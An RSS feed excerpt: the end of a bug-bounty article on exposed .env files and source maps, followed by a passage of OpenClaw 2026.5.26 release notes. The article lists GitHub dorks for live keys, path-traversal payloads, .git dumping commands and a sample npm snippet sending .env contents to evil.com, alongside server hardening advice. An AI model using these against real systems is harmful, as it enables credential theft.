live_hosts.txt</pre><h3>Phase 2: Content Discovery for .env Files</h3><pre># Using ffuf for .env file discovery<br>ffuf -u https://target.com/FUZZ \<br>  -w wordlist.txt \<br>  -fc 403,404 \<br>  -t 100<br><br># .env-specific wordlist<br>echo ".env<br>.env.bak<br>.env.old<br>.env.save<br>.env.local<br>.env.production<br>.env.development<br>env.txt<br>env<br>.env.example" &gt; env_wordlist.txt<br><br># Recursive discovery with feroxbuster<br>feroxbuster -u https://target.com \<br>  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \<br>  -x env,txt,bak,old,swp,save,conf,config \<br>  --depth 3 \<br>  --silent</pre><h3>Phase 3: Advanced GitHub Dorking</h3><pre># Automated GitHub dorking with gitdorker<br>gitdorker -q target.com -tf ./tf/ -d ./Dorks/Alldorks.ndjson -o output<br><br># Manual targeted dorks<br>site:github.com target.com filename:.env<br>site:github.com target.com "DB_PASSWORD"<br>site:github.com target.com "sk_live_" "Stripe"<br>site:github.com target.com "AKIA" "AWS"<br>site:github.com "target" filename:".env" "APP_KEY"</pre><h3>Phase 4: Source Map Enumeration</h3><pre># Check for source maps on live targets<br>cat live_hosts.txt | while read url; do<br>  # Try common source map locations<br>  curl -s -o /dev/null -w "%{http_code}" "$url/assets/js/app.js.map"<br>  curl -s -o /dev/null -w "%{http_code}" "$url/static/js/main.js.map"<br>  curl -s -o /dev/null -w "%{http_code}" "$url/build/static/js/main.js.map"<br>done<br><br># Reconstruct and grep for secrets<br>sourcemapper -url https://target.com/js/app.js.map -output ./recon/<br>grep -rni "sk_live\|AKIA\|password\|secret\|token" ./recon/</pre><h3>Phase 5: Directory Traversal Testing</h3><p>Sometimes .env files are not at the root but accessible through path traversal:</p><pre># Path traversal payloads<br>ffuf -u https://target.com/page.php?file=FUZZ \<br>  -w traversal_wordlist.txt<br><br># Common traversal wordlist entries<br>../../../.env<br>..%252f..%252f..%252f.env<br>....//....//....//.env<br>..\;../..\;../.env<br>/static/../../../.env</pre><h3>Part IV: The Expanded Attack Surface Beyond .env</h3><h3>Source Maps</h3><p>Source maps (.map files) are JavaScript's hidden tell-all. They reconstruct minified code back to the original source, complete with comments, function names, and file structure.</p><p>What source maps can reveal:</p><ul><li>Original source code and business logic</li><li>Developer comments (TODOs, FIXMEs, known bugs)</li><li>Internal API endpoints and admin panels</li><li>Hardcoded credentials</li><li>Third-party integration details</li><li>Environment variable expectations</li></ul><pre># Check for common source map locations<br>curl -si https://target.com/static/js/main.abc123.js.map<br>curl -si https://target.com/assets/js/app.js.map<br>curl -si https://target.com/build/js/bundle.js.map<br><br># Parse source maps for secrets (Node.js)<br>npm install -g source-map-cli<br>curl -s https://target.com/js/app.js.map | source-map --raw | grep -E 'key|token|secret|password'</pre><h3>Exposed .git Directories</h3><p>The .git directory is perhaps the most dangerous exposure because it contains the entire history of the project.</p><p>Tools for .git exploitation:</p><pre># git-dumper - downloads entire .git repo<br>git-dumper https://target.com/.git/ ./downloaded_repo/<br><br># GitTools - extract from exposed .git<br>git clone https://github.com/internetwache/GitTools<br>cd GitTools/Dumper<br>./gitdumper.sh https://target.com/.git/ ./repo/<br>cd GitTools/Extractor<br>./extractor.sh ./repo/ ./extracted/<br><br># Search entire Git history for secrets<br>cd extracted<br>git log --all -p | grep -E '(password|secret|key|token|AKIA|sk_live)'<br>git log --all --diff-filter=D --summary | grep delete  # Find deleted files</pre><h3>Backup Files</h3><p>Developers frequently create backup files during maintenance:</p><pre># Common backup file extensions<br>.bak, .old, .orig, .copy, .tmp, .swp, .swo, .save, ~ (tilde)<br><br># Fuzzing for backup files<br>ffuf -u https://target.com/FUZZ \<br>  -w backup_wordlist.txt<br><br># Example wordlist entries<br>config.php.bak<br>.env.bak<br>database.php.old<br>wp-config.php~<br>index.php.swp<br>.env.save</pre><h3>Configuration Files</h3><p>Beyond .env, other config files often contain secrets:</p><pre># Common config files to hunt<br>config.json<br>config.php<br>config.js<br>settings.py<br>application.properties<br>application.yml<br>database.yml<br>credentials.json<br>service-account.json<br>wp-config.php</pre><h3>Part V: The Supply Chain Angle — Malicious Dependencies</h3><p>Malicious packages actively hunt for .env files during installation. Since npm install (and pip install, gem install, etc.) can execute arbitrary code, a compromised dependency can:</p><pre>// Malicious package.js (hypothetical but based on real incidents)<br>const fs = require('fs');<br>const https = require('https');<br><br>// Read .env file<br>const envContent = fs.readFileSync('.env', 'utf8');<br><br>// Exfiltrate to attacker server<br>https.get(`https://evil.com/exfil?data=${Buffer.from(envContent).toString('base64')}`);</pre><p>Real incidents:</p><ul><li>Shai-Hulud NPM worm — Designed to hunt and exfiltrate NPM and GitHub tokens at scale</li><li>@ctrl/tinycolor compromise (2.2M weekly downloads) — Attackers weaponized TruffleHog itself as a payload to find and exfiltrate secrets</li><li>node-ipc supply chain attack — Malicious versions published to target specific developers</li><li>Cursor AI editor incident (2024) — .env file contents were being sent to servers for tab completion, even when files were listed in .cursorignore</li></ul><h3>Part VI: Defense in Depth — How to Protect Against .env Exposure</h3><h3>Immediate Remediation</h3><ol><li>Block hidden files at the server level</li></ol><pre># Apache<br>&lt;FilesMatch "^\."&gt;<br>    Require all denied<br>&lt;/FilesMatch&gt;</pre><pre># Nginx<br>location ~ /\.(?!well-known) {<br>    deny all;<br>    return 404;<br>}</pre><pre>// IIS<br>&lt;system.webServer&gt;<br>    &lt;security&gt;<br>        &lt;requestFiltering&gt;<br>            &lt;hiddenSegments&gt;<br>                &lt;add segment=".env" /&gt;<br>            &lt;/hiddenSegments&gt;<br>        &lt;/requestFiltering&gt;<br>    &lt;/security&gt;<br>&lt;/system.webServer&gt;</pre><p>2. Remove .env from web-accessible directories -- Move it outside the document root.</p><p>3. Implement CSP headers to restrict where scripts can load from.</p><p>4. Disable source maps in production builds:</p><pre>// webpack.config.js<br>module.exports = {<br>  // ...<br>  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',<br>};<br><br>// vite.config.js<br>export default defineConfig({<br>  build: {<br>    sourcemap: process.env.NODE_ENV !== 'production',<br>  },<br>});<br><br>// next.config.js<br>module.exports = {<br>  productionBrowserSourceMaps: false,<br>};</pre><h3>Prevention</h3><ol><li>Use a secrets manager — HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager</li><li>Implement .gitignore correctly and audit with git-secrets or trufflehog</li><li>Use pre-commit hooks to scan for secrets:</li></ol><pre># .pre-commit-config.yaml<br>repos:<br>  - repo: https://github.com/awslabs/git-secrets<br>    rev: master<br>    hooks:<br>      - id: git-secrets</pre><p>4. Rotate secrets regularly — If a .env file might have been exposed, rotate every credential in it immediately.</p><p>5. Scanner automation — Integrate secret scanning into CI/CD pipelines:</p><pre># TruffleHog scan in CI<br>trufflehog filesystem --directory=. --json | jq '.'</pre><p>6. Use ephemeral credentials — Short-lived tokens (IAM roles, OAuth2 token exchange) instead of long-lived API keys.</p><h3>Detection</h3><ol><li>Monitor for /.env requests in access logs</li><li>Use automated scanners like shhgit, trufflehog, git-secrets</li><li>Deploy canary tokens — Fake credentials placed in .env files that alert when used</li></ol><h3>Part VII: The 2026 Vibe Coding Problem</h3><p>The rise of AI-assisted development — “vibe coding” — has introduced a new dimension to the .env crisis. Research from 2026 shows that AI-generated code frequently makes mistakes that expose secrets:</p><ul><li>Hallucinated dependencies — AI tools generate package.json files with packages that do not exist in the registry, creating opportunities for typosquatting attacks</li><li>Hardcoded credentials — AI models trained on public code learn the pattern of hardcoding secrets and reproduce it</li><li>Source maps left enabled — Default build configurations generated by AI often leave source maps enabled for production</li><li>Missing server blocks — AI-generated deployment configs rarely include rules to block hidden files</li></ul><p>The fix: Treat AI-generated code as untrusted input. Audit every file for secrets before deployment. Use automated scanners in CI/CD.</p><h3>References</h3><ul><li><a href="https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/">Unit 42 — Large-Scale Cloud Extortion Operation via Exposed .env Files</a></li><li><a href="https://securityaffairs.com/188590/hacking/12-million-exposed-env-files-reveal-widespread-security-failures.html">Security Affairs — 12 Million Exposed .env Files</a></li><li><a href="https://snyk.io/articles/state-of-secrets/">Snyk 2025 State of Secrets — 28M Credentials Leaked on GitHub</a></li><li><a href="https://blog.sentry.security/abusing-exposed-sourcemaps/">Sentry Security Blog — Abusing Exposed Sourcemaps</a></li><li><a href="https://mogwailabs.de/en/blog/2022/08/exploiting-laravel-based-applications-with-leaked-app_keys-and-queues/">Mogwai Labs — Exploiting Laravel with Leaked APP_KEYs</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Web_Page_Content_for_Information_Leakage">OWASP — Review Web Page Content for Information Leakage</a></li><li><a href="https://github.com/techgaun/github-dorks">GitHub Dorking — techgaun/github-dorks</a></li><li><a href="https://www.invicti.com/web-application-vulnerabilities/dotenv-env-file">Invicti — Dotenv .env File Vulnerability</a></li><li><a href="https://vibe-eval.com/data-studies/frontend-secrets-leak-report-2026/">Vibe Eval 2026 — Frontend Secrets Leak Report</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vJZv0GNgEFzmfX6QmvfmOQ.png"><figcaption>Follow Me</figcaption></figure><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="https://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a><em> </em>| Facebook: <a href="https://www.facebook.com/Securi3ytalent/">Securi3ytalent</a> | Telegram: <a href="https://t.me/Securi3yTalent">Securi3yTalent</a></p><p>#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=60c4fd28ab4b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation-60c4fd28ab4b">Frontend Security &amp; Bug Hunting: The .env File Crisis and Real-World Exploitation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.5.26]]></title>
<description><![CDATA[2026.5.26
Highlights

Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.
Transcript...]]></description>
<link>https://tsecurity.de/de/3550892/downloads/openclaw-2026526/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3550892/downloads/openclaw-2026526/</guid>
<pubDate>Wed, 27 May 2026 13:46:34 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.26</h2>
<h3>Highlights</h3>
<ul>
<li>Faster Gateway and replies: startup avoids repeated plugin, channel, session, usage-cost, warning, scheduled-service, and filesystem scans; visible replies separate user-facing sends from slower follow-up work; Gateway runtime/session caches churn less under load.</li>
<li>Transcripts are core: transcript-backed meeting summaries, source-provider chunks, cleaned user turns, media provenance, Codex mirrors, WebChat replies, and CLI/TUI replay now use one more reliable transcript path.</li>
<li>More channels are production-ready: Telegram keeps typing/progress context and forum topics, iMessage handles attachment roots, remote media staging, and duplicate local Messages sources, WhatsApp restores group/media behavior, Discord improves voice playback and model picking, and Signal/iMessage/WhatsApp get reaction approvals.</li>
<li>Better voice and Talk: realtime Talk runs can be inspected, steered, cancelled, or followed up from Web UI and Discord voice; wake-name handling is more tolerant without letting ambient speech trigger agents.</li>
<li>Safer content boundaries: Browser snapshot reads honor SSRF policy, system-event text cannot spoof nested prompt markers, fetched file text is wrapped as external content, ClickClack inbound sender allowlists run before agent dispatch, stale device tokens are rejected, and serialized tool-call text is scrubbed from replies.</li>
<li>Providers, Codex, and local models are steadier: named auth profiles, OpenAI sampling params, Codex app-server resume/timeout/usage-limit recovery, dynamic tool-schema guards, xAI usage-limit surfacing, Ollama top-p normalization, and local approval resolution reduce provider-specific dead ends.</li>
<li>More reliable install/update/release paths: Alpine installs, trusted runtime fallback roots, stable update channels, Docker/package timeouts, Windows Scheduled Tasks, Windows/macOS proof lanes, Testbox/Crabbox delegation, plugin publish checks, and macOS runner bootstraps all got hardened.</li>
<li>Better observability: Activity tab, gateway secret-prep traces, tool/model stream progress, explicit fast-mode status, systemd Gateway hygiene, OpenTelemetry LLM spans, release performance evidence, and richer telemetry signals make failures easier to inspect.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Transcripts: add core transcript capture and source-provider support for transcript-backed meeting summaries, including the renamed Transcripts docs, CLI surface, source-provider chunks, and cleaned user-turn persistence.</li>
<li>Auth: add named model login profiles and supported credential migration for Hermes, OpenCode, and Codex auth profiles, with explicit opt-out and non-interactive controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507376112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85667" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85667/hovercard" href="https://github.com/openclaw/openclaw/pull/85667">#85667</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Diagnostics: trace gateway secret preparation, classify skill/tool usage, surface model stream progress, add OpenTelemetry LLM content spans, and expose alertable telemetry for blocked tools, failover, stale sessions, liveness, oversized payloads, and webhook ingress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462942195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83019" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83019/hovercard" href="https://github.com/openclaw/openclaw/pull/83019">#83019</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416373435" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80370" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80370/hovercard" href="https://github.com/openclaw/openclaw/pull/80370">#80370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512822495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86191" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86191/hovercard" href="https://github.com/openclaw/openclaw/pull/86191">#86191</a>)</li>
<li>Channels: add Signal reaction approvals, iMessage thumb approval reactions, and WhatsApp thumb approval reaction support so mobile approval flows work without textual <code>/approve</code> commands. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510153620" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85894" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85894/hovercard" href="https://github.com/openclaw/openclaw/pull/85894">#85894</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510696445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85952/hovercard" href="https://github.com/openclaw/openclaw/pull/85952">#85952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504724227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85477/hovercard" href="https://github.com/openclaw/openclaw/pull/85477">#85477</a>)</li>
<li>Agents/API: forward OpenAI sampling params through the Gateway and expose estimated context-budget status for active agent runs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476707401" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84094/hovercard" href="https://github.com/openclaw/openclaw/pull/84094">#84094</a>)</li>
<li>TUI/status: queue prompts submitted while an agent is busy and show explicit fast-mode state plus richer systemd Gateway hygiene in status output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520738163" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86722/hovercard" href="https://github.com/openclaw/openclaw/pull/86722">#86722</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528872767" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87115" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87115/hovercard" href="https://github.com/openclaw/openclaw/pull/87115">#87115</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4526043965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86976" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86976/hovercard" href="https://github.com/openclaw/openclaw/pull/86976">#86976</a>)</li>
<li>Exec approvals: hide durable approval actions that are unavailable for the current prompt and keep approval runtime tokens local-only so stale prompts cannot offer misleading controls. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513659607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86270" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86270/hovercard" href="https://github.com/openclaw/openclaw/pull/86270">#86270</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514921556" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86359" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86359/hovercard" href="https://github.com/openclaw/openclaw/pull/86359">#86359</a>)</li>
<li>Plugin SDK: add reaction approval helpers and keep diagnostic event root exports discoverable across function-name and alias-bound module graphs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520951336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86735" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86735/hovercard" href="https://github.com/openclaw/openclaw/pull/86735">#86735</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528316238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87084" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87084/hovercard" href="https://github.com/openclaw/openclaw/pull/87084">#87084</a>)</li>
<li>Android/iOS: add the Android pair-new-gateway action and improve mobile Talk mode surfaces, including iOS realtime Talk mode and Android offline voice/gateway recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522311194" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86798" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86798/hovercard" href="https://github.com/openclaw/openclaw/pull/86798">#86798</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Performance: cache plugin metadata snapshots, package realpaths, stable gateway metadata, model cost indexes, channel resolution, usage-cost indexes, and session/auth hot-path facts so common Gateway and reply paths do less rediscovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488512713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84649/hovercard" href="https://github.com/openclaw/openclaw/pull/84649">#84649</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509730151" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85843" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85843/hovercard" href="https://github.com/openclaw/openclaw/pull/85843">#85843</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517570243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86517/hovercard" href="https://github.com/openclaw/openclaw/pull/86517">#86517</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520170077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86678/hovercard" href="https://github.com/openclaw/openclaw/pull/86678">#86678</a>)</li>
<li>Voice: expose shared realtime turn-context tracking through the realtime voice SDK and reuse it for Discord speaker attribution and wake-name context recovery.</li>
<li>Voice: reuse shared realtime output activity tracking in Google Meet command and node audio bridges, including recent-output checks for local barge-in detection.</li>
<li>Voice: expose shared realtime output activity tracking through the realtime voice SDK and reuse it for Discord playback activity and barge-in decisions.</li>
<li>Voice: expose shared realtime consult question matching, speakable-result extraction, and alias-aware forced-consult coordination through the realtime voice SDK, then reuse it in Gateway Talk, Voice Call, and Discord voice paths.</li>
<li>Voice: share activation-name matching and consult-transcript screening through the realtime voice SDK so Discord, browser voice, and meeting surfaces can reuse one implementation.</li>
<li>Cron: default <code>cron.maxConcurrentRuns</code> to 8 so scheduled automations and their isolated agent turns can make progress in parallel without explicit configuration.</li>
<li>QA-Lab: add <code>qa coverage --match &lt;query&gt;</code> so focused proof selection can discover matching scenarios from existing metadata before running live or remote lanes.</li>
<li>Discord/model picker: surface an alpha-bucket select (e.g. <code>A–G (12) · H–N (18) · O–Z (5)</code>) when the provider list or a provider's model list exceeds 25 items, so configs with <code>provider/*</code> wildcards stay one click from the right page instead of paginating through prev/next; falls back to numeric chunks when every item shares the same first letter.</li>
<li>Control UI: add an ephemeral Activity tab for sanitized live tool activity summaries without persisting raw telemetry. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3917789057" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/12831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/12831/hovercard" href="https://github.com/openclaw/openclaw/issues/12831">#12831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Build: include <code>ui:build</code> in the <code>full</code> and <code>ciArtifacts</code> profiles of <code>scripts/build-all.mjs</code> so <code>pnpm build</code> always rebuilds <code>dist/control-ui</code> after <code>tsdown</code> cleans <code>dist</code>, removing the second-command requirement and the missing-asset failure mode for source/runtime installs and CI artifact uploads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499721411" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85206/hovercard" href="https://github.com/openclaw/openclaw/issues/85206">#85206</a>)</li>
<li>iOS: improve Talk mode with direct realtime voice sessions, compact toolbar status, and responsive voice waveform feedback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514830688" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86355" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86355/hovercard" href="https://github.com/openclaw/openclaw/pull/86355">#86355</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ngutman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ngutman">@ngutman</a>.</li>
<li>Media: replace the Sharp image backend with Rastermill for metadata, resizing, EXIF orientation, and PNG alpha-preserving optimization so OpenClaw no longer installs Sharp or the WhatsApp Jimp fallback for image processing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>)</li>
<li>Codex: update the bundled Codex CLI to 0.134.0 and keep native compaction disabled for budget-triggered app-server turns so OpenClaw owns the recovery boundary. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521805566" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86772/hovercard" href="https://github.com/openclaw/openclaw/pull/86772">#86772</a>)</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>
<p>Memory/security: reject prompt-like text submitted through the explicit <code>memory_store</code> tool before embedding or storage, matching the existing auto-capture prompt-injection filter. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529278840" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87142" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87142/hovercard" href="https://github.com/openclaw/openclaw/pull/87142">#87142</a>)</p>
</li>
<li>
<p>Gateway/security: enable the default auth rate limiter for remote non-browser and HTTP gateway auth failures when <code>gateway.auth.rateLimit</code> is unset, while preserving the loopback exemption. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4529328719" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87148" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87148/hovercard" href="https://github.com/openclaw/openclaw/pull/87148">#87148</a>)</p>
</li>
<li>
<p>Security/content boundaries: validate Browser snapshot tab URLs against SSRF policy before ChromeMCP or direct CDP reads, sanitize queued system-event text so untrusted plugin/channel labels cannot spoof nested prompt markers, wrap fetched file text and metadata as external content, apply ClickClack <code>allowFrom</code> sender allowlists before agent dispatch, reject RPCs from invalidated device-token clients during rotation, require staged sandbox media refs, and scrub serialized tool-call text from replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392560789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78526" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78526/hovercard" href="https://github.com/openclaw/openclaw/pull/78526">#78526</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528542196" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87094/hovercard" href="https://github.com/openclaw/openclaw/pull/87094">#87094</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4528022916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87062" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87062/hovercard" href="https://github.com/openclaw/openclaw/pull/87062">#87062</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472152384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83741" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83741/hovercard" href="https://github.com/openclaw/openclaw/pull/83741">#83741</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4317741554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70707" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70707/hovercard" href="https://github.com/openclaw/openclaw/pull/70707">#70707</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524708660" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86924" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86924/hovercard" href="https://github.com/openclaw/openclaw/pull/86924">#86924</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zsxsoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zsxsoft">@zsxsoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ttzero25/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ttzero25">@ttzero25</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Transcripts/user turns: persist CLI, WebChat, media, follow-up, hook, and Codex-mirror user turns to the admitted session target; keep cleaned transcript text, inline image routing, provenance metadata, replay hooks, and fallback paths idempotent when runtimes fail or restart.</p>
</li>
<li>
